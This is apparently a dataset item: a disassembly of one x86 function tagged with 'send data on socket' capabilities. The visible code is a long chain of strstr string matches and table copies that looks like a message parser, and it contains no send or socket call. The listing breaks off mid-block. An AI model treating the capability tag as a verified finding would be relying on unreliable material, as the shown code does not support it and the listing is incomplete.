Function at 0x4044a0
Capabilities:
Send data
Send data on socket

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x40c146
push eax
mov eax, 0x21b8
mov dword fs:[0], esp
call fcn.0040bf30
push ebx
push ebp
push esi
mov esi, dword [esp + 0x21d4]
push edi
lea eax, [esp + 0x148]
push esi
mov ebp, ecx
push eax
call fcn.004022c0
mov eax, dword [esp + 0x154]
add esp, 8
and eax, 0xffff
cmp eax, 0xc9
jg 0x40559c
je 0x404d4b
cmp eax, 0xa
je 0x404cf3
cmp eax, 0x33
je 0x404cc8
cmp eax, 0xc8
jne 0x4055b0
lea ecx, [esp + 0xa4]
push 0x34
add esi, 0x10
push ecx
push esi
call fcn.00402190
lea eax, [ebp + 0x28dc]
xor edx, edx
lea ecx, [esp + 0xb0]
push 0x40ee94
mov dword [eax], edx
push ecx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0x14
xor ebx, ebx
test eax, eax
je 0x4045ae
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x404573
inc eax
add ecx, 4
cmp eax, 3
jl 0x404564
jmp 0x4045ae
mov edx, dword [esp + 0xd0]
mov edi, 0x40ee94
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xa4]
push 0x40ee88
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x40461a
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x4045df
inc eax
add ecx, 4
cmp eax, 3
jl 0x4045d0
jmp 0x40461a
mov edx, dword [esp + 0xd0]
mov edi, 0x40ee88
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xa4]
push 0x40ee80
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x404686
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x40464b
inc eax
add ecx, 4
cmp eax, 3
jl 0x40463c
jmp 0x404686
mov edx, dword [esp + 0xd0]
mov edi, 0x40ee80
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xa4]
push 0x40ee78
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x4046f2
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x4046b7
inc eax
add ecx, 4
cmp eax, 3
jl 0x4046a8
jmp 0x4046f2
mov edx, dword [esp + 0xd0]
mov edi, 0x40ee78
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xa4]
push 0x40ee6c
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x40475e
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x404723
inc eax
add ecx, 4
cmp eax, 3
jl 0x404714
jmp 0x40475e
mov edx, dword [esp + 0xd0]
mov edi, 0x40ee6c
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xa4]
push 0x40ee60
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x4047ca
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x40478f
inc eax
add ecx, 4
cmp eax, 3
jl 0x404780
jmp 0x4047ca
mov edx, dword [esp + 0xd0]
mov edi, 0x40ee60
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xa4]
push 0x40ee58
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x404836
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x4047fb
inc eax
add ecx, 4
cmp eax, 3
jl 0x4047ec
jmp 0x404836
mov edx, dword [esp + 0xd0]
mov edi, 0x40ee58
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xa4]
push 0x40ee50
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x4048a2
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x404867
inc eax
add ecx, 4
cmp eax, 3
jl 0x404858
jmp 0x4048a2
mov edx, dword [esp + 0xd0]
mov edi, 0x40ee50
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xa4]
push 0x40ee44
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x40490e
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x4048d3
inc eax
add ecx, 4
cmp eax, 3
jl 0x4048c4
jmp 0x40490e
mov edx, dword [esp + 0xd0]
mov edi, 0x40ee44
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xa4]
push 0x40ee38
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x40497a
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x40493f
inc eax
add ecx, 4
cmp eax, 3
jl 0x404930
jmp 0x40497a
mov edx, dword [esp + 0xd0]
mov edi, 0x40ee38
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xa4]
push 0x40ee30
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x4049e6
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x4049ab
inc eax
add ecx, 4
cmp eax, 3
jl 0x40499c
jmp 0x4049e6
mov edx, dword [esp + 0xd0]
mov edi, 0x40ee30
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xa4]
push 0x40ee24
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x404a5e
xor edx, edx
lea eax, [ebp + 0x2918]
cmp dword [eax], ebx
je 0x404a17
inc edx
add eax, 4
cmp edx, 4
jl 0x404a08
jmp 0x404a5e
mov eax, dword [esp + 0xd0]
lea ecx, [edx + edx*4]
mov dword [ebp + edx*4 + 0x2918], eax
mov edi, 0x40ee24
lea esi, [ebp + ecx*4 + 0x2928]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x18], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp + edx*4 + 0x2978], ebx
lea ecx, [esp + 0xa4]
push 0x40ee18
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x404ad6
xor edx, edx
lea eax, [ebp + 0x2918]
cmp dword [eax], ebx
je 0x404a8f
inc edx
add eax, 4
cmp edx, 4
jl 0x404a80
jmp 0x404ad6
mov eax, dword [esp + 0xd0]
lea ecx, [edx + edx*4]
mov dword [ebp + edx*4 + 0x2918], eax
mov edi, 0x40ee18
lea esi, [ebp + ecx*4 + 0x2928]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x18], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp + edx*4 + 0x2978], ebx
lea ecx, [esp + 0xa4]
push 0x40ee10
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x404b4c
xor edx, edx
lea eax, [ebp + 0x2918]
cmp dword [eax], ebx
je 0x404b07
inc edx
add eax, 4
cmp edx, 4
jl 0x404af8
jmp 0x404b4c
mov eax, dword [esp + 0xd0]
lea ecx, [edx + edx*4]
mov dword [ebp + edx*4 + 0x2918], eax
mov edi, 0x40ee10
lea ebx, [ebp + ecx*4 + 0x2928]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp + edx*4 + 0x2978], 0xb
lea ecx, [esp + 0xa4]
push 0x40ee08
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov ebx, 1
test eax, eax
je 0x404bca
xor edx, edx
lea eax, [ebp + 0x2918]
cmp dword [eax], 0
je 0x404b83
inc edx
add eax, 4
cmp edx, 4
jl 0x404b73
jmp 0x404bca
mov eax, dword [esp + 0xd0]
lea ecx, [edx + edx*4]
mov dword [ebp + edx*4 + 0x2918], eax
mov edi, 0x40ee08
lea esi, [ebp + ecx*4 + 0x2928]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x18], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp + edx*4 + 0x2978], ebx
lea ecx, [esp + 0xa4]
push 0x40ee00
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x404c43
xor edx, edx
lea eax, [ebp + 0x2918]
cmp dword [eax], 0
je 0x404bfc
inc edx
add eax, 4
cmp edx, 4
jl 0x404bec
jmp 0x404c43
mov eax, dword [esp + 0xd0]
lea ecx, [edx + edx*4]
mov dword [ebp + edx*4 + 0x2918], eax
mov edi, 0x40ee00
lea esi, [ebp + ecx*4 + 0x2928]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x18], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp + edx*4 + 0x2978], ebx
lea ecx, [esp + 0xa4]
push 0x40edf8
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x409307
xor edx, edx
lea eax, [ebp + 0x2918]
cmp dword [eax], 0
je 0x404c7c
inc edx
add eax, 4
cmp edx, 4
jl 0x404c69
jmp 0x409307
mov eax, dword [esp + 0xd0]
lea ecx, [edx + edx*4]
mov dword [ebp + edx*4 + 0x2918], eax
mov edi, 0x40edf8
lea esi, [ebp + ecx*4 + 0x2928]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x18], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp + edx*4 + 0x2978], ebx
jmp 0x409307
mov ecx, dword [esp + 0x14e]
mov edx, dword [esp + 0x150]
and ecx, 0xffff
and edx, 0xffff
mov dword [ebp + 0x2874], ecx
mov dword [ebp + 0x2878], edx
jmp 0x409307
mov eax, dword [ebp + 0x2858]
test eax, eax
jne 0x409307
lea eax, [esp + 0x1c8]
push 0x2000
add esi, 0x10
push eax
push esi
call fcn.00402190
lea ecx, [esp + 0x1d4]
mov byte [esp + eax + 0x1d4], 0
push ecx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x10
cmp eax, 2
jne 0x409307
mov edx, dword [esp + 0x148]
mov dword [ebp + 0x2858], edx
jmp 0x409307
add esi, 0x10
xor ebx, ebx
mov dword [esp + 0x1c], ebx
push 0x2f
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
cmp eax, ebx
mov dword [esp + 0x48], eax
je 0x405576
mov byte [eax], 0
lea eax, [esp + 0x50]
push 0x34
push eax
push esi
call fcn.00402190
lea ecx, [esp + 0x5c]
push 0x40ee80
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0x14
test eax, eax
je 0x404de2
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x404daa
inc eax
add ecx, 4
cmp eax, 3
jl 0x404d9b
jmp 0x404de2
mov edx, dword [esp + 0x7c]
mov edi, 0x40ee80
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push 0x40ee94
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x404e48
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x404e10
inc eax
add ecx, 4
cmp eax, 3
jl 0x404e01
jmp 0x404e48
mov edx, dword [esp + 0x7c]
mov edi, 0x40ee94
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push 0x40ee88
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x404eae
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x404e76
inc eax
add ecx, 4
cmp eax, 3
jl 0x404e67
jmp 0x404eae
mov edx, dword [esp + 0x7c]
mov edi, 0x40ee88
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push 0x40ee78
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x404f14
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x404edc
inc eax
add ecx, 4
cmp eax, 3
jl 0x404ecd
jmp 0x404f14
mov edx, dword [esp + 0x7c]
mov edi, 0x40ee78
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push 0x40ee50
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x404f7a
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x404f42
inc eax
add ecx, 4
cmp eax, 3
jl 0x404f33
jmp 0x404f7a
mov edx, dword [esp + 0x7c]
mov edi, 0x40ee50
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push 0x40ee58
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x404fe0
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x404fa8
inc eax
add ecx, 4
cmp eax, 3
jl 0x404f99
jmp 0x404fe0
mov edx, dword [esp + 0x7c]
mov edi, 0x40ee58
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push 0x40ee6c
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x405046
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x40500e
inc eax
add ecx, 4
cmp eax, 3
jl 0x404fff
jmp 0x405046
mov edx, dword [esp + 0x7c]
mov edi, 0x40ee6c
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push 0x40ee60
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x4050ac
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x405074
inc eax
add ecx, 4
cmp eax, 3
jl 0x405065
jmp 0x4050ac
mov edx, dword [esp + 0x7c]
mov edi, 0x40ee60
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push 0x40edec
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x405112
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x4050da
inc eax
add ecx, 4
cmp eax, 3
jl 0x4050cb
jmp 0x405112
mov edx, dword [esp + 0x7c]
mov edi, 0x40edec
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push 0x40ede0
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x405178
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x405140
inc eax
add ecx, 4
cmp eax, 3
jl 0x405131
jmp 0x405178
mov edx, dword [esp + 0x7c]
mov edi, 0x40ede0
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push 0x40ee30
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x4051de
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x4051a6
inc eax
add ecx, 4
cmp eax, 3
jl 0x405197
jmp 0x4051de
mov edx, dword [esp + 0x7c]
mov edi, 0x40ee30
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push 0x40ee44
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x405244
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x40520c
inc eax
add ecx, 4
cmp eax, 3
jl 0x4051fd
jmp 0x405244
mov edx, dword [esp + 0x7c]
mov edi, 0x40ee44
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push 0x40ee38
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x4052aa
xor eax, eax
lea ecx, [ebp + 0x28d0]
cmp dword [ecx], ebx
je 0x405272
inc eax
add ecx, 4
cmp eax, 3
jl 0x405263
jmp 0x4052aa
mov edx, dword [esp + 0x7c]
mov edi, 0x40ee38
mov dword [ebp + eax*4 + 0x28d0], edx
lea eax, [eax + eax*4 + 0xa37]
or ecx, 0xffffffff
lea edx, [ebp + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push 0x40ee24
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x40531c
xor edx, edx
lea eax, [ebp + 0x2918]
cmp dword [eax], ebx
je 0x4052d8
inc edx
add eax, 4
cmp edx, 4
jl 0x4052c9
jmp 0x40531c
mov eax, dword [esp + 0x7c]
lea ecx, [edx + edx*4]
mov dword [ebp + edx*4 + 0x2918], eax
mov edi, 0x40ee24
lea esi, [ebp + ecx*4 + 0x2928]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x18], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp + edx*4 + 0x2978], ebx
lea ecx, [esp + 0x50]
push 0x40ee18
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x40538e
xor edx, edx
lea eax, [ebp + 0x2918]
cmp dword [eax], ebx
je 0x40534a
inc edx
add eax, 4
cmp edx, 4
jl 0x40533b
jmp 0x40538e
mov eax, dword [esp + 0x7c]
lea ecx, [edx + edx*4]
mov dword [ebp + edx*4 + 0x2918], eax
mov edi, 0x40ee18
lea esi, [ebp + ecx*4 + 0x2928]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x18], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp + edx*4 + 0x2978], ebx
lea ecx, [esp + 0x50]
push 0x40ee10
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x405404
xor edx, edx
lea eax, [ebp + 0x2918]
cmp dword [eax], ebx
je 0x4053bc
inc edx
add eax, 4
cmp edx, 4
jl 0x4053ad
jmp 0x405404
mov eax, dword [esp + 0x7c]
lea ecx, [edx + edx*4]
mov dword [ebp + edx*4 + 0x2918], eax
mov edi, 0x40ee10
lea esi, [ebp + ecx*4 + 0x2928]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x18], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp + edx*4 + 0x2978], 0xb
lea ecx, [esp + 0x50]
push 0x40ee08
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x40547a
xor edx, edx
lea eax, [ebp + 0x2918]
cmp dword [eax], ebx
je 0x405432
inc edx
add eax, 4
cmp edx, 4
jl 0x405423
jmp 0x40547a
mov eax, dword [esp + 0x7c]
lea ecx, [edx + edx*4]
mov dword [ebp + edx*4 + 0x2918], eax
mov edi, 0x40ee08
lea esi, [ebp + ecx*4 + 0x2928]
or ecx, 0xffffffff
xor eax, eax
